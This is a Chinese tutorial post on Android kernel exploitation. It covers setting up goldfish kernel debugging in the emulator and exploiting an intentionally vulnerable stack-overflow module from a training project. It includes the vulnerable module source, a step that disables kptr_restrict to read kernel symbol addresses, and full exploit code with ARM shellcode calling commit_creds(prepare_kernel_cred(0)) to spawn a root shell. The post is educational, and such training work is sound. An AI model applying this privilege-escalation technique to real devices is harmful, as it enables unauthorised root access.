android4 设置栈大小,【技术分享】Android内核漏洞利用技术实战:环境搭建&栈溢出实战...

【技术分享】Android内核漏洞利用技术实战:环境搭建&栈溢出实战

2017-08-14 16:22:02

阅读:0次

d5aa0db3dd172f6b056e36f76400ae1c.png

b77c6c66eff8771a282dceb6e3bb8315.png

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言

Android的内核采用的是 Linux 内核,所以在Android 内核中进行漏洞利用其实和在 一般的 x86平台下的linux内核中进行利用差不多。主要区别在于Android下使用的是arm汇编以及环境的搭建方面。本文对我最近的实践做一个分享,其实很简单。

内核调试环境搭建

搭建平台:ubuntu 16.04

这里使用android模拟器来进行内核调试。首先下载内核代码git clone https://aosp.tuna.tsinghua.edu.cn/kernel/goldfish.git

然后下载github上的一个安卓漏洞利用的项目,git clone https://github.com/Fuzion24/AndroidKernelExploitationPlayground.git kernel_exploit_challenges

然后使用项目中的patch文件把 patch 内核编译配置,来把项目中的带漏洞的模块编译进linux内核

git am --signoff 

cd .. && ln -s $(pwd)/kernel_exploit_challenges/ goldfish/drivers/vulnerabilities

这里注意:goldfish目录和kernel_exploit_challenges目录要在同一目录下

tar xvf arm-linux-androideabi-4.6.tar.bz2

export PATH=$(pwd)/arm-linux-androideabi-4.6/bin/:$PATH

然后进入goldfish目录,开始编译make goldfish_armv7_defconfig && make -j8

编译完成后,就会有两个主要的文件:goldfish/vmlinux和goldfish/arch/arm/boot/zImage。前面那个用于在调试时gdb加载,后面的用于在安卓模拟器启动时加载。

下面下载 安卓sdk, 用来下载和运行 安卓模拟器。

然后把 sdk解压tar xvf android-sdk_r24.4.1-linux.tgz

把android-sdk-linux/tools加入环境变量,把下面的命令添加到~/.bashrc的末尾export PATH=/home/haclh/hacktools/android-sdk-linux/tools:$PATH

然后重新打开一个shell, 使用下面的命令 android

然后把下面标注的两个下载下来

2dcec46b25aca7dbe84b2face089235d.png

下载完后。首先查看下载的镜像文件

$android list targets

Available Android targets:

----------

id: 1 or "android-19"

Name: Android 4.4.2

Type: Platform

API level: 19

Revision: 4

Skins: HVGA, QVGA, WQVGA400, WQVGA432, WSVGA, WVGA800 (default), WVGA854, WXGA720, WXGA800, WXGA800-7in

然后创建 模拟器android create avd --force -t "android-19" -n kernel_challenges

然后进入 goldfish 目录,使用下面的命令来使用我们的内核来运行模拟器,并在 1234 端口起一个 gdbserver 来方便进行 内核调试emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_challenges -no-boot-anim -no-skin -no-audio -no-window -qemu -monitor unix:/tmp/qemuSocket,server,nowait -s

第一次运行有类似的结果:

$ emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_challenges -no-boot-anim -no-skin -no-audio -no-window -qemu -monitor unix:/tmp/qemuSocket,server,nowait -s

WARNING: userdata image already in use, changes will not persist!

Creating filesystem with parameters:

Size: 576716800

Block size: 4096

Blocks per group: 32768

Inodes per group: 7040

Inode size: 256

Journal blocks: 2200

Label:

Blocks: 140800

Block groups: 5

Reserved block group size: 39

Created filesystem with 11/35200 inodes and 4536/140800 blocks

WARNING: cache image already in use, changes will not persist!

Creating filesystem with parameters:

Size: 69206016

Block size: 4096

Blocks per group: 32768

Inodes per group: 4224

Inode size: 256

Journal blocks: 1024

Label:

Blocks: 16896

Block groups: 1

Reserved block group size: 7

Created filesystem with 11/4224 inodes and 1302/16896 blocks

......................

......................

......................

为了便于后面的操作我们需要把 交叉编译工具链 添加到环境变量里。把下面的命令添加到~/.bashrc的末尾export

PATH=/home/haclh/hacktools/arm-linux-androideabi-4.6/bin/:$PATH

然后重新开个 shell, 进入到 goldfish 目录,加载 vmlinux 以便调试内核arm-linux-androideabi-gdb vmlinux

如果一切正常,应该可以得到下面的类似输出

GNU gdb (GDB) 7.3.1-gg2

Copyright (C) 2011 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later 

This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law.  Type "show copying"

and "show warranty" for details.

This GDB was configured as "--host=x86_64-apple-darwin --target=arm-linux-android".

For bug reporting instructions, please see:

...

Reading symbols from /goldfish/vmlinux...done.

(gdb)

然后连接 模拟器里面的 调试端口

(gdb) target remote :1234

Remote debugging using :1234

cpu_v7_do_idle () at arch/arm/mm/proc-v7.S:74

74movpc, lr

(gdb)

如果能看到这样的输出说明已经可以正常进行内核调试了。

内核栈溢出漏洞利用

首先看看漏洞代码,kernel_exploit_challenges/challenges/stack_buffer_overflow/module/stack_buffer_overflow.c:

#include 

#include 

#include 

#include 

#include 

#include 

#define MAX_LENGTH 64

MODULE_LICENSE("GPL");

MODULE_AUTHOR("Ryan Welton");

MODULE_DESCRIPTION("Stack Buffer Overflow Example");

static struct proc_dir_entry *stack_buffer_proc_entry;

int proc_entry_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)

{

char buf[MAX_LENGTH];

if (copy_from_user(&buf, ubuf, count)) {

printk(KERN_INFO "stackBufferProcEntry: error copying data from userspace\n");

return -EFAULT;

}

return count;

}

static int __init stack_buffer_proc_init(void)

{

stack_buffer_proc_entry = create_proc_entry("stack_buffer_overflow", 0666, NULL);

stack_buffer_proc_entry->write_proc = proc_entry_write;

printk(KERN_INFO "created /proc/stack_buffer_overflow\n");

return 0;

}

static void __exit stack_buffer_proc_exit(void)

{

if (stack_buffer_proc_entry) {

remove_proc_entry("stack_buffer_overflow", stack_buffer_proc_entry);

}

printk(KERN_INFO "vuln_stack_proc_entry removed\n");

}

module_init(stack_buffer_proc_init);

module_exit(stack_buffer_proc_exit);

上述代码会创建/proc/stack_buffer_overflow设备文件 ,当向该设备文件调用 write 系统调用时会调用 proc_entry_write 函数进行处理。漏洞显而易见,在proc_entry_write函数中 定义了一个 64 字节大小的栈缓冲区 buf, 然后使用copy_from_user(&buf, ubuf, count)从用户空间 拷贝数据到 buf ,数据大小和内容均用户可控。于是当我们输入超过64字节时我们能够覆盖其他的数据,比如返回地址等,进而劫持程序执行流到我们的 shellcode 中 进行提权。

首先我们来试试触发漏洞。先把模拟器打开,然后adb shell进入模拟器,使用  echo 命令向/proc/stack_buffer_overflow设备输入72字节的数据。echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >  /proc/stack_buffer_overflow

e8f6cb15e691fd33f3d59c3549bf52fd.png

可以看到 pc 寄存器的值 为 0x41414141 成功劫持。测试时该内核没开 pxn ,所以我们可以在用户态编写shellcode让内核去执行。提取的方式很简单,内核态调用  commit_creds(prepare_kernel_cred(0)); 提升权限为 root, 然后返回 用户态 执行 execl("/system/bin/sh", "sh", NULL); 起一个 root 权限的 shell, 完成提权。下面先获取 prepare_kernel_cred 和 commit_creds 函数的地址。在 /proc/kallsyms 文件中保存着所有的内核符号的名称和它在内存中的位置。不过在最近的内核版本中,为了使利用内核漏洞变得更加困难,linux内核目前禁止一般用户获取符号。具体可以看这里。

当启用 kptr_restrict 是我们不能获取内核符号地址的。

root@generic:/ # cat /proc/kallsyms | grep commit_creds

00000000 T commit_creds

在本文中,把它禁用掉,不管他。

root@generic:/ # echo 0 > /proc/sys/kernel/kptr_restrict

root@generic:/ # cat /proc/kallsyms | grep commit_creds

c0039834 T commit_creds

root@generic:/ # cat /proc/kallsyms | grep prepare_kernel_cred

c0039d34 T prepare_kernel_cred

禁用掉之后,我们就可以通过/proc/kallsyms获取commit_creds和prepare_kernel_cred的地址。

至此,提权的问题解决了,下面就是要回到用户态,在x86平台有 iret指令可以回到用户态,在arm下返回用户态就更简单了。在arm下 cpsr 寄存器的 M[4:0] 位用来表示 处理器的运行模式,具体可以看这个。所以我们把 cpsr 寄存器的 M[4:0] 位设置为 10000后就表示 处理器进入了用户模式。

所以现在的利用思路是:

1.调用commit_creds(prepare_kernel_cred(0))提升权限

2.调用mov r3, #0x40000010;   MSR    CPSR_c,R3;设置cpsr寄存器,使cpu进入用户模式

3.然后执行execl("/system/bin/sh", "sh", NULL);起一个root权限的shell

最后的 exp :

#include 

#include 

#include 

#include 

#include 

#define MAX             64

int open_file(void)

{

int fd = open("/proc/stack_buffer_overflow", O_RDWR);

if (fd == -1)

err(1, "open");

return fd;

}

void payload(void)

{

printf("[+] enjoy the shell\n");

execl("/system/bin/sh", "sh", NULL);

}

extern uint32_t shellCode[];

asm

(

"    .text\n"

"    .align 2\n"

"    .code 32\n"

"    .globl shellCode\n\t"

"shellCode:\n\t"

// commit_creds(prepare_kernel_cred(0));

// -> get root

"LDR     R3, =0xc0039d34\n\t"   //prepare_kernel_cred addr

"MOV     R0, #0\n\t"

"BLX     R3\n\t"

"LDR     R3, =0xc0039834\n\t"   //commit_creds addr

"BLX     R3\n\t"

"mov r3, #0x40000010\n\t"

"MSR    CPSR_c,R3\n\t"

"LDR     R3, =0x879c\n\t"     // payload function addr

"BLX     R3\n\t"

);

void trigger_vuln(int fd)

{

#define MAX_PAYLOAD (MAX + 2  * sizeof(void*) )

char buf[MAX_PAYLOAD];

memset(buf, 'A', sizeof(buf));

void * pc = buf + MAX +  1 * sizeof(void*);

printf("shellcdoe addr: %p\n", shellCode);

printf("payload:%p\n", payload);

*(void **)pc  = (void *) shellCode;   //ret addr

/* Kaboom! */

write(fd, buf, sizeof(buf) );

}

int main(void)

{

int fd;

fd = open_file();

trigger_vuln(fd);

payload();

close(fd);

}

e973dbd4495ae3adc2c48385c0df78da.png

参考链接

本文由 安全客 原创发布,如需转载请注明来源及本文地址。

本文地址:http://bobao.360.cn/learning/detail/4247.html

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值